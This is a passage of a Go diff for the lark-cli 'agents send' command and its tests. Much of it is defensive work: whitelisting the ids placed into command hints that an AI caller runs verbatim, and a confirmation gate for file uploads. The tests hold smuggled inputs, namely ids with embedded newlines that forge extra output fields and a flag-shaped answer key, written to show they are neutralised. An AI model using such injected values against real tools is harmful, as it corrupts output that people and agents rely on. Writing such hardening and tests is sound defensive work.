+	if len(in.Files) > 0 {
+		would["files"] = in.Files
+	}
+	if len(params) > 0 {
+		// Default 回填后的终值：预演即所得。
+		would["params"] = params
+	}
+	if in.ContextID != "" {
+		would["context_id"] = in.ContextID
+	}
+	if in.TaskID != "" {
+		would["task_id"] = in.TaskID
+	}
+	if len(in.Answers) > 0 {
+		// §10.1 键编码原样预览：预演即所得。
+		would["answers"] = in.Answers
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data: map[string]interface{}{
+			"dry_run":    true,
+			"would_send": would,
+		},
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// nextIDPattern is the character whitelist for server-supplied identifiers
+// (task_id / context_id / question_id) before they are interpolated into a
+// meta.next command string: first character alphanumeric, then letters, digits,
+// '_' and '-'. It is deliberately stricter than validate.ResourceName — that
+// check is a denylist aimed at URL-path safety and would pass shell
+// metacharacters (spaces, ';', backticks, quotes), which are exactly what
+// matters here: meta.next is defined as "AI executes this verbatim", so a
+// server-controlled id is a command-injection surface. The alphanumeric first
+// character additionally rejects flag-lookalike ids ("--text", "-o") that would
+// survive a bare charset test yet hijack the flag surface when an AI re-composes
+// the command. It matches iagents.KeyPattern by construction — the two layers
+// must agree or a key accepted at one becomes a dead end at the other.
+var nextIDPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `$`)
+
+// safeNextID reports whether s may be interpolated into a meta.next command.
+func safeNextID(s string) bool {
+	return nextIDPattern.MatchString(s)
+}
+
+// nextRefPattern is the whitelist for a user-supplied ref before it is
+// interpolated into a meta.next command or a hint command string: the
+// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
+// shape ParseRef accepts, further restricted to command-safe characters). A
+// ref is not server-controlled — the threat model is not injection but
+// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
+// be executed verbatim), so a failing ref simply drops the command hint.
+var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
+
+// safeNextRef reports whether ref may be interpolated into a meta.next / hint
+// command string.
+func safeNextRef(ref string) bool {
+	return nextRefPattern.MatchString(ref)
+}
+
+// nextForTask builds the meta.next[] hints for a send result: a terminal task
+// suggests fetching its artifacts / detail, a still-running task the poll
+// command, an input_required task the continue command, and an auth_required
+// task the re-authorize flow (auth login, not a text continuation). AI callers use
+// these to chain the next step without guessing the command shape, so every
+// value interpolated here must pass its whitelist first: the ref (safeNextRef)
+// and the task_id (safeNextID) each suppress the whole hint when they fail
+// (prefer dropping the hint over risking injection); a failing context_id
+// degrades to the <context_id> placeholder,
+// which keeps the hint while interpolating nothing untrusted. A hint whose
+// command carries <...> placeholders is marked Template so callers know it
+// needs substitution before execution.
+// nextForTask additionally carries business parameters for the TARGET verb of
+// each suggested command per the three-way rule (see paramArgsFor): given
+// values that pass the whitelist ride literally, whitelist failures degrade
+// required params to placeholders, and target-verb-required params the caller
+// never provided are added as placeholders — so a required parameter is
+// structurally incapable of falling off the chain. given is what the caller
+// explicitly provided this call (never backfilled defaults); spec may be nil
+// in construction-time tests (no params are carried then).
+// caller is the verb that produced this output: a terminal task viewed via
+// task get must NOT suggest the very command the caller just ran (a naive AI
+// following meta.next verbatim would loop on itself); the artifact downloads
+// remain the only genuine increment there.
+func nextForTask(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string, caller string) []output.NextAction {
+	if !safeNextRef(ref) {
+		return nil
+	}
+	if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
+		return nil
+	}
+	if task.State.ShouldStopPolling() {
+		if task.State == iagents.StateAuthRequired {
+			// auth_required is an agent-side task state — the end user must
+			// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
+			// NOT a text continuation like input_required. Point at the auth
+			// re-authorize flow instead of a text continuation. The concrete scopes are the
+			// agent's declared scope set (see the lark-agents skill's prerequisites), so --scope is a
+			// placeholder → Template. ref/task_id are already whitelisted above, so
+			// echoing the re-check command in the label is safe.
+			// label 内嵌的重查命令按三分规则补 task_get 的参数携带——auth_required
+			// 是唯一不指向 agent 子树的 next，链传规则同样不许在这条路上丢必填。
+			recheckArgs, _ := paramArgsFor(spec, iagents.VerbTaskGet, given)
+			return []output.NextAction{{
+				Label:    fmt.Sprintf("完成重新授权后重查任务（据该 agent 所需 scope 定；重查: lark-cli agents task get %s %s%s）", ref, task.TaskID, recheckArgs),
+				Command:  `lark-cli auth login --scope "<required_scopes>"`,
+				Template: true,
+			}}
+		}
+		if task.State == iagents.StateInputRequired {
+			// A task pausing on a question group: expand ONE per-question template
+			// (design doc §4.4) so the AI never hand-assembles the answer grammar —
+			// the placeholder names the answer form per question type (bare
+			// <option_id> for a choice, marked repeatable for multi-select,
+			// .text=<文本> for free text). All values are placeholders, so the hint
+			// is always a template — which is also why a missing or
+			// whitelist-failing context_id can degrade to the <context_id>
+			// placeholder instead of dropping the hint. Every question_id is
+			// server-supplied and must pass the safeNextID whitelist before
+			// interpolation (normalization upstream guarantees this; a violation
+			// here degrades to the free-text continuation rather than emitting a
+			// key the CLI's own guard would reject).
+			ctxID := task.ContextID
+			if ctxID == "" || !safeNextID(ctxID) {
+				ctxID = "<context_id>"
+			}
+			sendArgs, _ := paramArgsFor(spec, iagents.VerbSend, given)
+			if ir := task.InputRequired; (spec == nil || spec.InputRequired) && ir != nil && len(ir.Questions) > 0 {
+				parts := make([]string, 0, len(ir.Questions))
+				for _, q := range ir.Questions {
+					if !safeNextID(q.QuestionID) {
+						parts = nil
+						break
+					}
+					switch {
+					case len(q.Options) == 0:
+						parts = append(parts, fmt.Sprintf("--answer %s.text=<文本>", q.QuestionID))
+					case q.MultiSelect:
+						parts = append(parts, fmt.Sprintf("--answer %s=<option_id 多选可重复>", q.QuestionID))
+					default:
+						parts = append(parts, fmt.Sprintf("--answer %s=<option_id>", q.QuestionID))
+					}
+				}
+				if parts != nil {
+					return []output.NextAction{{
+						Label:    "把问题组转达给用户后按其答复提交（用户先前指令已唯一确定答案时可代答，须说明依据）；选项都不合适的题用 <question_id>.text=<文本>",
+						Command:  fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s %s%s", ref, ctxID, task.TaskID, strings.Join(parts, " "), sendArgs),
+						Template: true,
+					}}
+				}
+			}
+			// No structured group (provider supplied none and normalization had
+			// nothing to synthesize from): plain free-text continuation — the
+			// provider treats a message to its paused task as the answer (§6.5).
+			return []output.NextAction{{
+				Label:    "补充输入后向同一任务续发",
+				Command:  fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s --text <你的答复>%s", ref, ctxID, task.TaskID, sendArgs),
+				Template: true,
+			}}
+		}
+		// Terminal: suggest reading the final detail, plus a ready-made download
+		// command per artifact (so the AI never has to hand-craft the
+		// `task get --artifact` form itself; -o stays a placeholder → template).
+		// When the caller IS task get, the detail suggestion would be a self-loop
+		// (the exact command just executed) — drop it and keep only the artifact
+		// increments.
+		var next []output.NextAction
+		if caller != iagents.VerbTaskGet {
+			getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
+			next = append(next, output.NextAction{
+				Label:    "查看任务详情与产物",
+				Command:  fmt.Sprintf("lark-cli agents task get %s %s%s", ref, task.TaskID, getArgs),
+				Template: getTpl,
+			})
+		}
+		next = append(next, artifactNext(ref, task, spec, given)...)
+		return next
+	}
+	getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
+	return []output.NextAction{{
+		Label:    "轮询任务直到停轮询条件（有界；到点未终止照此再 watch）",
+		Command:  fmt.Sprintf("lark-cli agents task get %s %s --watch --timeout %s%s", ref, task.TaskID, defaultWatchTimeout, getArgs),
+		Template: getTpl,
+	}}
+}
+
+// artifactNext builds one ready-made download command per artifact of a
+// terminal task: only when the spec wires DownloadArtifact, only for artifact
+// ids that pass the whitelist (a failing id skips just that artifact), always
+// template (the -o save path is the caller's choice). Params carry per the
+// three-way rule against the artifact_download declaration.
+func artifactNext(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string) []output.NextAction {
+	if spec == nil || !task.IsTerminal || len(task.Artifacts) == 0 {
+		return nil
+	}
+	if op, ok := spec.Op(iagents.VerbArtifactDownload); !ok || !op.Wired {
+		return nil
+	}
+	dlArgs, _ := paramArgsFor(spec, iagents.VerbArtifactDownload, given)
+	var next []output.NextAction
+	for _, a := range task.Artifacts {
+		if a.ID == "" || !safeNextID(a.ID) {
+			continue // 服务端 id 过不了白名单 → 跳过该产物，不冒注入险
+		}
+		next = append(next, output.NextAction{
+			// label 只内插已过白名单的 id；产物名是 agent 可控文本，不进 label。
+			Label:    fmt.Sprintf("下载产物 %s", a.ID),
+			Command:  fmt.Sprintf("lark-cli agents task get %s %s --artifact %s -o <保存路径>%s", ref, task.TaskID, a.ID, dlArgs),
+			Template: true,
+		})
+	}
+	return next
+}
+
+// defaultWatchTimeout is the bounded poll window meta.next suggests for a
+// still-running task: a safe default that avoids an unbounded --watch blocking
+// forever on a long task and stops an AI caller from self-hammering. On expiry
+// the poll returns the current state (exit 0) plus a fresh watch hint, so the
+// caller re-watches in segments rather than blocking once. `--watch` used alone
+// (--timeout 0) stays unbounded for backward compatibility.
+const defaultWatchTimeout = 30 * time.Second

cmd/agents/send_test.go

@@ -0,0 +1,575 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"os"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// sendCmdCtx builds a `lark-cli agents send` leaf command whose CommandPath() is
+// non-empty (required for content-safety scanning) and whose --as flag is
+// explicitly set to bot so ResolveAs honors it verbatim.
+func sendCmdCtx(t *testing.T) *cobra.Command {
+	t.Helper()
+	root := &cobra.Command{Use: "lark-cli"}
+	group := &cobra.Command{Use: "agents"}
+	leaf := &cobra.Command{Use: "send"}
+	root.AddCommand(group)
+	group.AddCommand(leaf)
+	leaf.Flags().String("as", "", "identity")
+	if err := leaf.Flags().Set("as", "bot"); err != nil {
+		t.Fatal(err)
+	}
+	leaf.SetContext(context.Background())
+	return leaf
+}
+
+// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
+// the scripted fakeflow agent agt_x under an explicit bot identity. The
+// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
+// test — everything under test here is command-layer behavior over the
+// scripted provider.
+// mkSendFile chdirs to a temp dir and creates name there, so --file passes the
+// relative-within-CWD + existence gate (validateSendFiles) in tests.
+func mkSendFile(t *testing.T, name string) {
+	t.Helper()
+	dir := t.TempDir()
+	old, err := os.Getwd()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Chdir(dir); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = os.Chdir(old) })
+	if err := os.WriteFile(name, []byte("x"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func sendTestOpts(t *testing.T) *sendOptions {
+	t.Helper()
+	registerScripted()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	return &sendOptions{
+		Factory: f,
+		Cmd:     sendCmdCtx(t),
+		Ref:     "fakeflow:agt_x",
+		As:      "bot",
+	}
+}
+
+// TestSendRequiresText pins that an empty or whitespace-only --text is a validation error
+// (subtype invalid_argument) raised before any provider is built.
+func TestSendRequiresText(t *testing.T) {
+	for name, text := range map[string]string{
+		"empty":            "",
+		"spaces":           "   ",
+		"tab":              "\t",
+		"newline":          "\n",
+		"full width space": "\u3000",
+	} {
+		t.Run(name, func(t *testing.T) {
+			err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: text})
+			if err == nil {
+				t.Fatal("missing --text should raise a validation error")
+			}
+			if !errs.IsValidation(err) {
+				t.Fatalf("want validation error, got %T", err)
+			}
+			p, ok := errs.ProblemOf(err)
+			if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+				t.Fatalf("subtype should be invalid_argument, got %+v", p)
+			}
+			// hint contract: a missing --text must carry a copy-pasteable remediation
+			// hint, and the param uses the -- prefix.
+			if !strings.Contains(p.Hint, "--text") {
+				t.Errorf("hint should guide adding --text, got %q", p.Hint)
+			}
+			var verr *errs.ValidationError
+			if !errors.As(err, &verr) || verr.Param != "--text" {
+				t.Errorf("param should be --text, got %+v", verr)
+			}
+		})
+	}
+}
+
+// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
+// validation error, raised before any provider is built.
+func TestSendTaskIDRequiresContextID(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
+	if err == nil {
+		t.Fatal("--task-id without --context-id should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	// hint contract: state the next step clearly (--task-id must be provided
+	// together with --context-id).
+	if !strings.Contains(p.Hint, "--context-id") {
+		t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--task-id" {
+		t.Errorf("param should be --task-id, got %+v", verr)
+	}
+}
+
+// TestSendAnswerGroup pins the structured input_required answer path: --answer
+// entries need no --text, and they reach the provider hook as the §10.1 map
+// encoding — keys verbatim (bare vs .text), values in argv order, multi-select
+// accumulated, exact duplicates deduplicated.
+func TestSendAnswerGroup(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.ContextID = "sess_1"
+	opts.TaskID = "task_1"
+	opts.Answers = []string{
+		"q1_a8=by_region",
+		"q2_a8.text=2024 全年",
+		"q3_a8=east", "q3_a8=north", "q3_a8=east", // exact dup → deduped
+	}
+	// deliberately no opts.Text — the answers ARE the message.
+	var got iagents.SendInput
+	setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
+		got = in
+		return &iagents.AgentTask{TaskID: "task_1", ContextID: "sess_1", State: iagents.StateCompleted}, nil
+	}})
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("answering a group should not require --text: %v", err)
+	}
+	if v := got.Answers["q1_a8"]; len(v) != 1 || v[0] != "by_region" {
+		t.Errorf("bare answer should reach the hook as-is, got %v", got.Answers["q1_a8"])
+	}
+	if v := got.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
+		t.Errorf(".text key should stay verbatim in the map, got %v", got.Answers["q2_a8.text"])
+	}
+	if v := got.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
+		t.Errorf("multi-select should accumulate in argv order and dedupe exact repeats, got %v", got.Answers["q3_a8"])
+	}
+}
+
+// TestSendAnswerRequiresTaskContext pins that answering a group needs the
+// task/context it belongs to (mode-first guard, before key parsing).
+func TestSendAnswerRequiresTaskContext(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1=by_region"}})
+	if err == nil {
+		t.Fatal("--answer without --context-id/--task-id should error")
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--answer" {
+		t.Errorf("param should be --answer, got %+v", verr)
+	}
+}
+
+// TestSendAnswerGrammar pins the offline --answer key/value grammar in one
+// collect-all pass: a non-key=value entry, a near-miss suffix (.txt), a
+// flag-lookalike key, an empty value, and a duplicated .text entry are ALL
+// reported in one error; none of them reaches any provider.
+func TestSendAnswerGrammar(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "sess_1", TaskID: "task_1",
+		Answers: []string{
+			"noequals",               // 非 key=value
+			"q1.txt=x",               // 后缀拼错：非法 key
+			"--text=x",               // flag 形状 key：首字符非法
+			"q2=",                    // 空值
+			"q3.text=a", "q3.text=b", // .text 不累积
+		}})
+	if err == nil {
+		t.Fatal("illegal --answer entries should error offline")
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--answer" {
+		t.Fatalf("param should be --answer, got %+v", verr)
+	}
+	for _, frag := range []string{"noequals", "q1.txt", "--text", "q2", "q3.text"} {
+		if !strings.Contains(verr.Problem.Message, frag) {
+			t.Errorf("collect-all message should name %q, got %q", frag, verr.Problem.Message)
+		}
+	}
+}
+
+// workingTask is the canonical non-terminal task the scripted Send returns for
+// the happy-path tests.
+func workingTask() *iagents.AgentTask {
+	return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}
+}
+
+// TestSendPrettyFormat pins that `send --format pretty` renders the
+// resulting task as key: value lines (previously the flag was registered but
+// silently ignored).
+func TestSendPrettyFormat(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.Format = "pretty"
+	setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
+		return workingTask(), nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("send --format pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Errorf("pretty should not be a JSON envelope: %s", text)
+	}
+}
+
+// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
+// (key: value preview) instead of silently emitting JSON.
+func TestSendDryRunPrettyFormat(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.DryRun = true
+	opts.Format = "pretty"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Errorf("pretty should not be a JSON envelope: %s", text)
+	}
+}
+
+// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
+// runs context_id/task_id through kvValue (like every other pretty face), so a
+// value carrying a newline cannot forge an adjacent "key: value" field row.
+func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "hi"
+	opts.DryRun = true
+	opts.Format = "pretty"
+	opts.ContextID = "ctx1\nstate: completed"
+	opts.TaskID = "task1\ndeleted: true"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	// The raw newline must not survive into a forged adjacent row.
+	if strings.Contains(text, "context_id: ctx1\nstate: completed") {
+		t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
+	}
+	if strings.Contains(text, "task_id: task1\ndeleted: true") {
+		t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
+	}
+	// kvValue collapses the newline to a space, keeping the value on one line.
+	if !strings.Contains(text, "context_id: ctx1 state: completed") {
+		t.Errorf("context_id should collapse to one line, got:\n%s", text)
+	}
+	if !strings.Contains(text, "task_id: task1 deleted: true") {
+		t.Errorf("task_id should collapse to one line, got:\n%s", text)
+	}
+}
+
+// TestSendNoParamsRequired pins card v2: the scripted card declares no
+// parameters, so a send without any --param passes card validation — asserted
+// via --dry-run so no provider Send fires. A malformed --param is still a
+// validation error.
+func TestSendNoParamsRequired(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.Params = nil
+	opts.DryRun = true
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
+	}
+
+	opts2 := sendTestOpts(t)
+	opts2.Text = "分析销售"
+	opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
+	opts2.DryRun = true
+	err := agentSendRun(opts2)
+	if err == nil {
+		t.Fatal("malformed --param should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+}
+
+// TestSendUnknownParamRejected pins, against an empty-parameters card, that
+// any --param key is unknown → invalid_argument with a hint pointing at
+// `agents card`, raised before any provider Send (asserted via --dry-run with
+// no send hook installed).
+func TestSendUnknownParamRejected(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.Params = []string{"app_id=app_1"}
+	opts.DryRun = true
+	err := agentSendRun(opts)
+	if err == nil {
+		t.Fatal("card did not declare app_id, --param app_id should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if !strings.Contains(p.Hint, "agents card") {
+		t.Fatalf("hint should point to agents card, got %q", p.Hint)
+	}
+}
+
+// TestSendDryRun pins that --dry-run prints a would_send preview and never
+// calls the provider (no send hook installed → a Send would panic).
+func TestSendDryRun(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	opts.DryRun = true
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+	data, ok := env.Data.(map[string]interface{})
+	if !ok {
+		t.Fatalf("data should be an object, got %T", env.Data)
+	}
+	if data["dry_run"] != true {
+		t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
+	}
+	would, ok := data["would_send"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
+	}
+	if would["text"] != "分析销售" {
+		t.Errorf("would_send.text should echo the text, got %v", would["text"])
+	}
+}
+
+// TestSendDryRunRejectsProviderUnsupportedIdentity ensures --dry-run obeys the
+// same provider identity contract as a live send while remaining network-free.
+func TestSendDryRunRejectsProviderUnsupportedIdentity(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Ref = "fakeuseronly:agt_x"
+	opts.Text = "分析销售"
+	opts.DryRun = true
+
+	err := agentSendRun(opts)
+	if err == nil {
+		t.Fatal("bot dry-run should be rejected by a user-only provider")
+	}
+	p, ok := errs.ProblemOf(err)
+	var validationErr *errs.ValidationError
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument || !errors.As(err, &validationErr) || validationErr.Param != "--as" {
+		t.Fatalf("bot dry-run should fail as invalid_argument for --as, got problem=%+v err=%v", p, err)
+	}
+}
+
+// TestSendStartsTask pins the happy path: a single Send fires and returns the
+// submitted / working task in a success envelope immediately (no polling), with
+// a meta.next hint pointing at task get --watch.
+func TestSendStartsTask(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "分析销售"
+	var gotText string
+	setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
+		gotText = in.Text
+		return workingTask(), nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("send should not error: %v", err)
+	}
+	if gotText != "分析销售" {
+		t.Errorf("provider should receive the original text, got %q", gotText)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["task_id"] != "chat_1" {
+		t.Errorf("task_id should be chat_1, got %v", data["task_id"])
+	}
+	if data["state"] != string(iagents.StateWorking) {
+		t.Errorf("state should be working, got %v", data["state"])
+	}
+	// meta.next should suggest polling / continuing.
+	if !strings.Contains(string(out.Bytes()), `"next"`) {
+		t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
+	}
+}
+
+// TestSendSendError surfaces a provider Send failure unchanged.
+func TestSendSendError(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.Text = "x"
+	setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
+		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentSendRun(opts); err == nil {
+		t.Fatal("Send error should propagate")
+	}
+}
+
+// TestSendInvalidRef surfaces a malformed ref as a validation error after the
+// text/task-id guards pass.
+func TestSendInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+}
+
+// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
+// presence of the send-specific flags.
+func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
+	cmd := NewCmdAgentSend(nil, nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
+		t.Errorf("agents send should be marked write risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{}); err == nil {
+		t.Error("agents send missing ref should raise an args error (ExactArgs 1)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
+		t.Errorf("agents send with a single ref should be valid: %v", err)
+	}
+	for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
+		if cmd.Flags().Lookup(name) == nil {
+			t.Errorf("agents send should have --%s flag", name)
+		}
+	}
+	if cmd.Flags().Lookup("wait") != nil {
+		t.Error("agents send --wait should be removed (polling goes through task get --watch)")
+	}
+	// The --file help must point out that files are sent off to the remote
+	// provider (file-egress requirement).
+	fileFlag := cmd.Flags().Lookup("file")
+	if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
+		t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
+	}
+}
+
+// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
+// instead of the production path (construction-time seam).
+func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
+	called := false
+	var captured *sendOptions
+	cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
+		called = true
+		captured = opts
+		return nil
+	})
+	cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
+	cmd.SetContext(context.Background())
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("execute should not error: %v", err)
+	}
+	if !called {
+		t.Fatal("runF should be called")
+	}
+	if captured.Ref != "example:agt_x" || captured.Text != "hi" {
+		t.Errorf("opts not populated correctly: %+v", captured)
+	}
+}
+
+// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
+// carrying --file to a provider that supports file upload (the scripted card has
+// file_input=true) requires --yes, so without it the command returns
+// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
+// hook is a tripwire that would panic if the gate let the upload through.
+func TestSend_FileRequiresYes(t *testing.T) {
+	mkSendFile(t, "local.txt")
+	opts := sendTestOpts(t)
+	opts.Text = "hi"
+	opts.Files = []string{"local.txt"} // no --yes
+
+	err := agentSendRun(opts)
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
+		t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
+	}
+	if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
+		t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
+	}
+}
+
+// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
+// send reaches the provider, which receives the file path.
+func TestSend_FileWithYesProceeds(t *testing.T) {
+	mkSendFile(t, "local.txt")
+	opts := sendTestOpts(t)
+	sent := false
+	setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
+		sent = true
+		if len(in.Files) != 1 || in.Files[0] != "local.txt" {
+			t.Errorf("provider should receive the --file path, got %v", in.Files)
+		}
+		return &iagents.AgentTask{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: true}, nil
+	}})
+	opts.Text = "hi"
+	opts.Files = []string{"local.txt"}
+	opts.Yes = true
+
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("send --file --yes should proceed: %v", err)
+	}
+	if !sent {
+		t.Error("provider Send should be reached after --yes")
+	}
+}
+
+// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
+// gate (dry-run never uploads), so it needs no --yes and never reaches the
